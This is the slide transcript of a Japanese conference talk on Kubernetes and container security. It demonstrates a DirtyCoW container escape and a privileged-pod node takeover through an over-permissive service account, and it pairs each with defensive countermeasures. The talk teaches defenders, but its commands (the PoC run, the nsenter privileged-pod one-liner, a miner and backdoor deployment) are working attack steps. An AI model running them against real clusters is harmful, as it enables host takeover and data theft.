Upgrade to Pro — share decks privately, control downloads, hide ads and more …

攻撃しながら考えるKubernetesのセキュリティ / Considering Kubernetes Security While Attacking

fujiihda
September 08, 2020

攻撃しながら考えるKubernetesのセキュリティ / Considering Kubernetes Security While Attacking

本資料は 2020/9/8 の「CloudNative Days Tokyo 2020」の発表資料です。

■発表動画
https://event.cloudnativedays.jp/cndt2020/talks/26

■内容
・コンテナ全般のセキュリティ
・脆弱な設定のKubernetesに対する攻撃 (アプリの脆弱性をきっかけとした悪意のあるPodの作成、権限昇格、などの攻撃の流れ)
・上記に対する対策

■書籍以外のReference
KubeCon NA 2019 CTF:
https://securekubernetes.com/

Kubernetes Security for Microservices:https://speakerdeck.com/rung/kubernetes-security-for-microservices/

Threat matrix for Kubernetes:
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

NIST SP800-190 Application Container Security Guide:
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf

CIS Benchmark 原本:
https://www.cisecurity.org/benchmark/kubernetes/

CIS Benchmark GKE版:
https://www.cisecurity.org/cis-benchmarks/

CIS Benchmark EKS版:
https://aws.amazon.com/jp/blogs/containers/introducing-cis-amazon-eks-benchmark

fujiihda

September 08, 2020
Tweet

More Decks by fujiihda

Other Decks in Technology

Transcript

  1. © 2020 NTT DATA Corporation
    2020年9月8日
    株式会社NTTデータ 藤井 秀行
    攻撃しながら考えるKubernetesのセキュリティ
    記載されている会社名、商品名、またはサービス名は、各社の商標登録または商標です。

    View Slide

  2. © 2020 NTT DATA Corporation 2
    • 所属:NTTデータ / インフラエンジニア
    • 仕事:k8sを活用する組織のリサーチチーム
    • 経歴:OSS → OSとコンテナ → 現職
    • 趣味:コミュニティ活動
    Whois
    藤井 秀行
    (@fujiihda)

    View Slide

  3. © 2020 NTT DATA Corporation 3
    突然の圧力!?ありがとうございます!!

    View Slide

  4. © 2020 NTT DATA Corporation 4
    本発表はコミュニティの皆さんのセキュリティ
    向上を目的としています。攻撃手法を題材と
    して扱いますが違法なクラッキングを推進す
    るものではありません。絶対に悪用しないで
    ください。また、発表内容は個人の見解です。
    所属する企業やコミュニティの立場、意見を
    代表するものではありません。
    【重要】はじめに

    View Slide

  5. © 2020 NTT DATA Corporation 5
    今日のシナリオ
    • シナリオ1:コンテナ全般を対象としたセキュリティ
    – 攻撃者:内部犯行
    – NW種別:隣接ネットワーク
    – テーマ:コンテナ全般におけるホストの特権への権限昇格
    • シナリオ2:k8s固有のセキュリティ
    – 攻撃者:外部犯行
    – NW種別:外部ネットワーク (インターネット越し)
    – テーマ:k8sにおけるNodeへの権限昇格

    View Slide

  6. © 2020 NTT DATA Corporation 6
    本日の流れ
    1. なんとなくk8sしてませんか?
    2. 皆さんに持って帰ってほしいもの
    3. コンテナの特有のセキュリティリスクと対策
    4. シナリオ
    - シナリオ1:コンテナ全般を対象としたセキュリティ
    - シナリオ2:k8s固有のセキュリティ
    5. ベストプラクティス
    6. k8sを適切に設定して使うのはユーザ責任

    View Slide

  7. © 2020 NTT DATA Corporation 7
    k8sはセキュリティを
    きちんと考慮されない
    ままで導入されがち
    なのでは!?

    View Slide

  8. © 2020 NTT DATA Corporation 8
    ぜんぜんわからない 俺たちは雰囲気でコンテナをやっている
    何も考えずに
    ← は NG
    何も考えずに
    ← は NG
    何も考えずに
    ← は NG

    View Slide

  9. © 2020 NTT DATA Corporation 9
    ぜんぜんわからない 俺たちは雰囲気でk8sをやっている
    PodSecurity
    Policy?
    Service
    Account?
    特権コンテナ?
    メタデータ
    アクセス?
    脆弱性
    診断は?

    View Slide

  10. © 2020 NTT DATA Corporation 10
    皆さんに持って帰ってほしいもの
    • 「これは危険だ」という知識
    • 脅威に対する考え方
    • コンテナへの攻撃の全体像

    View Slide

  11. © 2020 NTT DATA Corporation 11
    コンテナ特有のセキュリティリスクと対策

    View Slide

  12. © 2020 NTT DATA Corporation 12
    (参考) 各リスクの内訳

    View Slide

  13. © 2020 NTT DATA Corporation 13
    シナリオ1:
    コンテナ全般を対象とした
    セキュリティ

    View Slide

  14. © 2020 NTT DATA Corporation 14
    シナリオ1:防御側
    • セキュリティは後回しで、塩漬け文化があり、
    – 古いOS上の
    – 古いDockerで
    – 任意コード実行の脆弱性のある社内向けWebアプリを動かしている
    – ケーパビリティとseccompはデフォルトのまま有効化している
    • Webアプリ上に個人情報は存在しない
    • Webアプリには、サーバ室だけでなく、居室からでもアクセスでき、情報を
    社外に持ち出すための抜け道が存在する
    • コスト優先でマルチテナント構成をとっており、同じホスト上で
    別部門の管理する個人情報を含むシステムが動いている

    View Slide

  15. © 2020 NTT DATA Corporation 15
    (参考) シナリオ1:攻撃側
    • 攻撃者種別:内部犯行者
    • 攻撃対象:同一ホスト上の別部署の管理するシステムにある個人情報
    • 攻撃手段:ホストと社内向けWebアプリに深刻な脆弱性があることを
    知っていて、自ら攻撃コードを探したり、ツールを実行できる
    • 攻撃目的:以前同担当に所属していて恨みがあり、個人情報の売買に
    興味がある
    • 前提条件:Webアプリの脆弱性をツールで突いてシェルを取った
    (コンテナのプロセスの権限で任意のコマンドを実行できる)

    View Slide

  16. © 2020 NTT DATA Corporation 16
    シナリオ1で扱う脆弱性
    • CVE-2016-5195 (通称:DirtyCoW、極めて古く修正済)
    – 様々な種類のPoCがあり、できることが違う
    • https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
    – コンテナエスケープ用のPoCではコンテナ内のユーザがホストの
    特権ユーザに昇格できる
    • すぐに試せるgeblさんの作った全部入りのコンテナ
    – https://github.com/gebl/dirtycow-docker-vdso
    • 上のコンテナの中身はscumjrさんの作った次のコードなので、
    コンテナの中でコードを取得しても試せる
    – https://github.com/scumjr/dirtycow-vdso

    View Slide

  17. © 2020 NTT DATA Corporation 17
    (参考) シナリオ1のホストの環境
    # cat /etc/redhat-release
    CentOS Linux release 7.2.1511 (Core)
    # uname -a
    Linux localhost.localdomain 3.10.0-327.el7.x86_64 #1 SMP Thu Nov 19 22:10:57
    UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
    # rpm -qa | grep docker
    docker-engine-1.13.1-1.el7.centos.x86_64
    docker-engine-selinux-17.05.0.ce-1.el7.centos.noarch
    # getenforce
    Disabled

    View Slide

  18. © 2020 NTT DATA Corporation 18
    コンテナに入る (シェルを取られたつもり)
    # cd dirtycow-docker-vdso; docker-compose run dirtycow /bin/bash
    [email protected]:/#

    View Slide

  19. © 2020 NTT DATA Corporation 19
    攻撃に必要な情報を取得
    [email protected]:/# ifconfig -a
    eth0 Link encap:Ethernet HWaddr 02:42:ac:12:00:03
    inet addr:172.18.0.3 Bcast:0.0.0.0 Mask:255.255.0.0
    (省略)

    View Slide

  20. © 2020 NTT DATA Corporation 20
    make
    [email protected]:/# cd /dirtycow-vdso; make
    nasm -f bin -o payload payload.s
    xxd -i payload payload.h
    cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
    cc -o 0xdeadbeef 0xdeadbeef.o -lpthread

    View Slide

  21. © 2020 NTT DATA Corporation 21
    実行
    [email protected]:/dirtycow-vdso# ./0xdeadbeef 172.18.0.3:22
    [*] payload target: 172.18.0.3:22
    [*] exploit: patch 1/2
    [*] vdso successfully backdoored
    [*] exploit: patch 2/2
    [*] vdso successfully backdoored
    [*] waiting for reverse connect shell...
    [*] enjoy!
    [*] restore: patch 2/2
    [*] vdso successfully restored
    [*] restore: patch 1/2
    [*] vdso successfully restored

    View Slide

  22. © 2020 NTT DATA Corporation 22
    結果
    whoami
    root
    id
    uid=0(root) gid=0(root) groups=0(root)
    hostname
    localhost.localdomain

    View Slide

  23. © 2020 NTT DATA Corporation 23
    結果
    whoami
    root
    id
    uid=0(root) gid=0(root) groups=0(root)
    hostname
    localhost.localdomain
    ケーパビリティとseccompは
    デフォルトで有効化していた 両方とも無効化してない
    のにナンデ!?
    少々お待ちください

    View Slide

  24. © 2020 NTT DATA Corporation 24
    なにをされたのか
    • アプリケーションの脆弱性を悪用されてシェルを取られた
    (任意コード実行可能だった)
    • OSの脆弱性を悪用されてコンテナ内のユーザがホストの
    特権ユーザに権限昇格した
    • (明示的に書いてないが) ホストの特権で同一ホスト上の別の
    コンテナに侵入できる状態になった

    View Slide

  25. © 2020 NTT DATA Corporation 25
    なぜ攻撃が成立したか
    • コンテナとして動かしていたアプリケーションに任意の
    コード実行の脆弱性があった
    • OSとコンテナランタイムが古く、深刻な脆弱性があり権限昇格の
    リスクがあった
    • 脆弱なコンテナがマルチテナント構成の同一ホスト上あった
    • コンテナのセキュリティを高めるOSの機能は、、、
    有効化していたんだけど、、、

    View Slide

  26. © 2020 NTT DATA Corporation 26
    答え:バージョンアップ
    以外では対処困難な
    脆弱性もある

    View Slide

  27. © 2020 NTT DATA Corporation 27
    対策
    • OS(Linuxカーネル)とコンテナランタイムを最新化する
    – OSやコンテナランタイムを最新に保つことでしか対応困難な脆弱性がある
    • セキュリティ機能は万能ではない
    – システムを構成する要素は脆弱性はツールを使うなどして即把握・即対処
    • マルチテナント構成のリスクを考慮して採用可否を判断する
    – コンテナは、一般的な構成では、ホストと同じカーネルで動くプロセス
    – コンテナは、一般的にVMと比較すると他のコンテナやホストから影響を
    受けやすい
    → ただし、いまは様々な選択肢が提供されていて改善されつつある
    (本発表内ではこれらには言及しません)

    View Slide

  28. © 2020 NTT DATA Corporation 28
    • OS(Linuxカーネル)とコンテナランタイムを最新化する
    – OSやコンテナランタイムを最新に保つことでしか対応困難な脆弱性がある
    – バージョンアップ以外に対処がない脆弱性は騒ぎになりやすいので即対処
    • マルチテナント構成のリスクを考慮して採用可否を判断する
    – コンテナは、一般的な構成では、ホストと同じカーネルで動くプロセス
    – コンテナは、一般的にVMと比較すると他のコンテナやホストから影響を
    受けやすい
    → ただし、いまは様々な選択肢が提供されていて改善されつつある
    (本発表内では詳細は言及しません)
    対策
    コンテナのセキュリティを高める
    機能の話どこにいった!?

    View Slide

  29. © 2020 NTT DATA Corporation 29
    ケーパビリティとseccompは攻撃可能な面を減らす
    • ケーパビリティ
    – root権限を目的別に約 30 個に分割した特権機能群
    – 必要に応じて付与 / 剥奪 (デフォルトから剥奪も検討)
    • seccomp
    – プロセスが利用できるシステムコールを制限できる
    – コンテナでは、コンテナ内のプロセスが実行するシステムコール
    を制限できる
    – 定義したシステムコールが呼ばれたときの制御を、許可、拒否、
    終了などのアクションから選択でき、種類だけでなく、引数との
    組み合わせも定義可能
    – 任意のコマンドが実行されたとしても、影響範囲を最小限に
    抑えることが可能
    多層防御の考えのもと重ね
    掛けを基本として、要件や
    粒度に応じて使い分ける
    でもケーパビリ
    ティは最小権
    限にすべきか
    なぁ
    セキュリティ実
    践ガイドに詳細
    が書いてある

    View Slide

  30. © 2020 NTT DATA Corporation 30
    (参考) k8s v1.19 から seccomp が使える
    apiVersion: v1
    kind: Pod
    metadata:
    name: sample-capabilities
    spec:
    containers:
    - name: tools-container
    image: amsy810/tools:v2.0
    securityContext:
    capabilities:
    add: ["SYS_ADMIN"]
    drop: ["AUDIT_WRITE"]
    apiVersion: v1
    kind: Pod
    metadata:
    name: audit-pod
    labels:
    app: audit-pod
    spec:
    securityContext:
    seccompProfile:
    type: Localhost
    localhostProfile: profiles/audit.json
    containers:
    - name: test-container
    image: hashicorp/http-echo:0.2.3
    args:
    - "-text=just made some syscalls!"
    securityContext:
    allowPrivilegeEscalation: false
    引用元:完全ガイドサンプルリポジトリ、および、Kubernetes.io の “Restrict a Container’s Syscalls
    with Seccomp” のページのサンプルより引用
    seccomp
    ケーパビリティ

    View Slide

  31. © 2020 NTT DATA Corporation 31
    シナリオ2:
    k8s固有のセキュリティ

    View Slide

  32. © 2020 NTT DATA Corporation 32
    (参考) ここから扱うネタは定番ネタ
    • 某検索エンジンで 「Kubernetes Attack」 などで検索

    View Slide

  33. © 2020 NTT DATA Corporation 33
    シナリオ2:防御側
    • セキュリティは後回しで、塩漬け文化があり、
    – クラウドベンダのマネージドk8s上に
    – セキュリティ脆弱性がよく話題になるCMSをデプロイした
    – CMSには後日深刻な脆弱性が見つかったが対処していない
    – CMSはインターネットに公開されている
    • CMSは付き合いのあるお客様向けの情報発信に使っているものの、
    重要度は低く、CMS上には公開情報以外載せていない
    • コスト優先でマルチテナント構成をとっており、同じNode上に別部門
    の管理する 個人情報を含むシステムが動いている

    View Slide

  34. © 2020 NTT DATA Corporation 34
    (参考) シナリオ2:攻撃側
    • 攻撃者種別:スクリプトキディ
    • 攻撃対象:無差別 (クラウドベンダの利用するIPアドレスレンジを中心に、
    IPアドレスを自動スキャンするツールを使うことで脆弱性のあるIPアドレス
    に対して無差別に攻撃)
    • 攻撃手段:既知脆弱性を悪用するツールを用いるのみで高度な技術なし
    • 攻撃目的:お金 (マイニングと個人情報売買)
    • 前提条件:CMSの脆弱性をツールで突いてシェルを取った
    (コンテナのプロセスの権限で任意のコマンドを実行できる)

    View Slide

  35. © 2020 NTT DATA Corporation 35
    わたしは誰だ… ここはどこだ……
    $ id
    uid=1000(cms) gid=1000(cms) groups=1000(cms)
    $ ps -ef
    UID PID PPID C STIME TTY TIME CMD
    cms+ 1 0 0 13:11 ? 00:00:00 /usr/bin/dumb-
    init /usr/local/sbin/entrypoint.sh
    cms+ 7 1 0 13:11 ? 00:00:00 node /cms/app
    cms+ 18 7 0 14:11 pts/0 00:00:00 /bin/bash
    cms+ 25 18 0 14:47 pts/0 00:00:00 ps -ef
    $ df -h
    (省略)
    tmpfs 3.7G 12K 3.7G 1% /run/secrets/kubernetes.io/serviceaccount
    (省略)

    View Slide

  36. © 2020 NTT DATA Corporation 36
    パスワードと/rootへのアクセス
    $ cat /etc/shadow
    cat: /etc/shadow: Permission denied
    $ ls -l /root
    ls: cannot open directory '/root': Permission denied

    View Slide

  37. © 2020 NTT DATA Corporation 37
    ほう kubeですか たいしたものですね
    $ cd /tmp; curl -Lo amicontained https://github.com/genuinetools/amicontained/releases/download/v0.4.9/a
    micontained-linux-amd64; chmod 755 amicontained; ./amicontained
    (省略)
    Container Runtime: kube
    Has Namespaces:
    pid: true
    user: false
    AppArmor Profile: docker-default (enforce)
    Capabilities:
    BOUNDING -
    > chown dac_override fowner fsetid kill setgid setuid setpcapnet_bind_service net_raw sys_chroot mknod a
    udit_write setfcap
    Seccomp: disabled
    Blocked Syscalls (29):
    SYSLOG SETUID SETGID SETSID SETREUID SETREGID SETGROUPS SETRESUID SETRESGID VHANGUP PIVOT_ROOT A
    CCT SETTIMEOFDAY UMOUNT2 SWAPON SWAPOFF REBOOT SETHOSTNAME SETDOMAINNAME INIT_MODULE DELETE_MODULE LOOKU
    P_DCOOKIE FUTIMESAT UTIMENSAT FANOTIFY_INIT OPEN_BY_HANDLE_AT FINIT_MODULE KEXEC_FILE_LOAD BPF
    Looking for Docker.sock

    View Slide

  38. © 2020 NTT DATA Corporation 38
    環境変数を見てみる
    $ env | grep -i kube
    KUBERNETES_PORT_443_TCP_PROTO=tcp
    KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
    KUBERNETES_PORT=tcp://10.100.0.1:443
    KUBERNETES_SERVICE_PORT_HTTPS=443
    KUBERNETES_PORT_443_TCP_PORT=443
    KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
    KUBERNETES_SERVICE_PORT=443
    KUBERNETES_SERVICE_HOST=10.100.0.1

    View Slide

  39. © 2020 NTT DATA Corporation 39
    k8sのバージョンを見てみる
    $ curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version
    {
    "major": "1",
    "minor": "15+",
    "gitVersion": "v1.15.12-■■■■■■■■",
    "gitCommit": "■■■■■■■■■■■■■■■■■■",
    "gitTreeState": "clean",
    "buildDate": "2020-06-01■■■■■■■■",
    "goVersion": "go1.12.17b4",
    "compiler": "gc",
    "platform": "linux/amd64"
    }

    View Slide

  40. © 2020 NTT DATA Corporation 40
    kubectlしてみる
    $ export PATH=/tmp:$PATH
    $ cd /tmp; curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.15
    .12/bin/linux/amd64/kubectl; chmod 755 kubectl
    $ kubectl get namespaces
    Error from server (Forbidden): namespaces is forbidden: User "system:serviceaccount
    :prd:default" cannot list resource "namespaces" in API group "" at the cluster scop
    e

    View Slide

  41. © 2020 NTT DATA Corporation 41
    現在Podを作成できるか
    $ kubectl auth can-i create pods
    yes

    View Slide

  42. © 2020 NTT DATA Corporation 42
    悪意のあるPodを作成
    $ kubectl apply -f c0inminer.yaml
    悪意のあるyamlを書
    いてPodを作成

    View Slide

  43. © 2020 NTT DATA Corporation 43
    Nodeに権限昇格してバックドアを作成
    $ kubectl run r00tc0ntainer --restart=Never -ti --rm --image lol --overrides
    '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":
    ["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,“
    securityContext":{"privileged":true}}]}}’
    r00tc0ntainer / #
    r00tc0ntainer / # docker run -d backd00r
    Nodeの特権になった
    あとは個人情報を探
    そう (省略)
    バックドア作成した

    View Slide

  44. © 2020 NTT DATA Corporation 44
    なにをされたのか
    • アプリケーションの脆弱性を悪用されてシェルを取られた
    (任意コード実行可能だった)
    • Service Accountを悪用されて、k8sにマイニング用のPodを建てられた
    • Service Accountを悪用されて、k8sにホストのroot権限を持つコンテナを
    建てられた (権限昇格)
    – そしてバックドアを仕込まれた
    • (今日のデモ内では攻撃されなかったが) 攻撃者が同じNode上の
    他のコンテナに入っている個人情報にアクセス可能になった

    View Slide

  45. © 2020 NTT DATA Corporation 45
    なぜ攻撃が成立したか
    • コンテナとして動かしていたアプリケーションに任意の
    コード実行の脆弱性があった
    • k8sの各種機能が適切に設定されていなかった
    – Service Accountが最小権限に設定されていなかった
    – コンテナ内でできることが限定されていなかった
    – 特権コンテナが禁止されていなかった
    – あらかじめ許可されていないコンテナが起動できた
    • 脆弱なコンテナがマルチテナント構成の同一ホスト上あった

    View Slide

  46. © 2020 NTT DATA Corporation 46
    今回の原因はk8sの
    設定不備です。k8sの
    脆弱性ではありません。

    View Slide

  47. © 2020 NTT DATA Corporation 47
    対策
    • (今回は悪用されなかったが) Kubernetesは最新化
    • k8sの各種機能を適切に設定してセキュリティを高める
    – Service Accountは最小権限
    – コンテナ内でできることは限定する
    – 特権コンテナはなるべく禁止
    – 信頼できるコンテナのみが起動できるようにする
    • マルチテナントにする際はリスクを考慮してセキュリティ徹底

    View Slide

  48. © 2020 NTT DATA Corporation 48
    デモ2に有効と考えるベストプラクティス
    • アプリの脆弱性を是正
    – CI/CDの仕組みのなかに脆弱性診断を導入
    – 環境変数暗号化
    • Service Accountは最小権限
    • コンテナ内でできることを限定
    – コンテナ内で ps や curl などのできないコンテナイメージの採用
    – 書き込みが不要なコンテナであればリードオンリー
    • PodSecurityPolicy設定
    – (特別な理由がない限り) 特権コンテナ基本禁止
    – 最小権限を徹底してコンテナ作成などの不要な権限を与えない
    • あらかじめ許可された信頼できるコンテナのみに起動を許可
    – Binary Authorization導入
    重要!

    View Slide

  49. © 2020 NTT DATA Corporation 49
    個人的ベストプラクティスの一部 (前ページ掲載除く)
    • メタデータアクセス制御 (169.254.169.254 アクセス禁止)
    • Namespaceは専門知識を持った人が対応
    • RBACも専門知識を持った人が対応
    • 必要な通信のみを許可
    • 不要ならホストのボリュームをマウントしない
    • 徹底的にIaCで自動化
    • 高いセキュリティレベルが求められるならクラスタ分割
    • 悪意を即検知して通知/是正するセキュリティの仕組みの導入
    重要!

    View Slide

  50. © 2020 NTT DATA Corporation 50
    責任共有モデルでは
    k8sを適切に設定する
    のはユーザの責任

    View Slide

  51. © 2020 NTT DATA Corporation 51
    • アプリからk8sに至るまでを最新化
    • k8sのセキュリティを高める機能を適切に使う
    • ベストプラクティスは全部抑える
    • k8sのセキュリティを設定する責任はユーザ
    • マルチテナントはセキュリティリスクを考慮
    まとめ

    View Slide

  52. © 2020 NTT DATA Corporation 52
    Reference
    • 書籍:Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド
    • 書籍:Kubernetes Security
    • 書籍:Container Security
    • KubeCon NA 2019 CTF:
    https://securekubernetes.com/
    • Kubernetes Security for Microservices:
    https://speakerdeck.com/rung/kubernetes-security-for-microservices/
    • Threat matrix for Kubernetes:
    https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
    • NIST SP800-190 Application Container Security Guide:
    https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf
    • CIS Benchmark原本:
    https://www.cisecurity.org/benchmark/kubernetes/
    • CIS Benchmark GKE版:
    https://www.cisecurity.org/cis-benchmarks/
    • CIS Benchmark EKS版:
    https://aws.amazon.com/jp/blogs/containers/introducing-cis-amazon-eks-benchmark/

    View Slide

  53. © 2020 NTT DATA Corporation 53
    (参考) これからやりたい (願望)
    • 高度な応用 (技術を組み合わせる) (今日の発表とあまり関係ない)
    – Kubernetesを活用する組織のアプリ開発とファジング技術を組み合わせたセキュリティ向上
    – Kubernetesと関連コンポーネント自体のファジング
    • シナリオ2の攻撃内容高度化と資料化
    – シナリオ2改:クラウドベンダのメタデータからクレデンシャル取得
    – シナリオ2改改:Kubernetesと関連コンポーネントの脆弱性を突く
    – シナリオ2改改改:Kubernetesと関連コンポーネントの未発見の脆弱性を探す
    • セルフハンズオン化と展開
    – シナリオ2
    – シナリオ2改
    – シナリオ2改改

    View Slide

  54. © 2020 NTT DATA Corporation 54
    (参考) 早期警戒して即対応したい脆弱性
    • 個人の見解として、エンタープライズ領域で特に注意している脆弱性は、
    デフォルト設定で無条件に攻撃が成立するもの、かつ、次の脆弱性
    – Remote Code Execution (RCE):遠隔から任意のコードを実行する攻撃手法、
    または、脆弱性
    • 公開しているサービス自体、または、関連コンポーネントにインターネット越しで
    この脆弱性があると他の攻撃に繋がりやすい
    – Privilege Escalation:権限昇格する攻撃手法、または、脆弱性
    • OS(Linuxカーネル)やコンテナランタイムにこれがあると致命的
    – Server Side Request Forgery (SSRF):直接到達できない内部サーバなどに
    対して公開サーバの不具合を悪用することで任意のリクエストを送りつける攻撃
    手法、または、脆弱性
    • 某金融機関のクレデンシャル取得で有名で、権限昇格なしで深刻な情報
    漏えいにつながる可能性あり

    View Slide

  55. © 2020 NTT DATA Corporation 55
    (参考) コンテナに関わる脆弱性一部抜粋その1
    • runc
    – CVE-2016-3697
    – CVE-2016-9962
    – CVE-2019-5736
    • Dockerデーモン
    – Shocker (CVE番号なし)
    – CVE-2014-9357
    – CVE-2018-15664
    – CVE-2019-14271
    • Linuxカーネル
    – CVE-2016-5195
    – CVE-2017-5123
    詳細は2章参照。
    脆弱性の内容と対策
    を理解しよう!

    View Slide

  56. © 2020 NTT DATA Corporation 56
    (参考) コンテナに関わる脆弱性一部抜粋その2
    • kube-apiserver
    – CVE-2018-1002105
    – CVE-2019-11247
    • kubelet
    – CVE-2017-1002101
    – CVE-2017-1002102
    – CVE-2019-11245
    • kubectl
    – CVE-2019-1002101
    – CVE-2019-11246
    – CVE-2019-11249
    • Kubernetes Dashboard
    – CVE-2018-18264
    詳細は2章参照。
    脆弱性の内容と対策
    を理解しよう!

    View Slide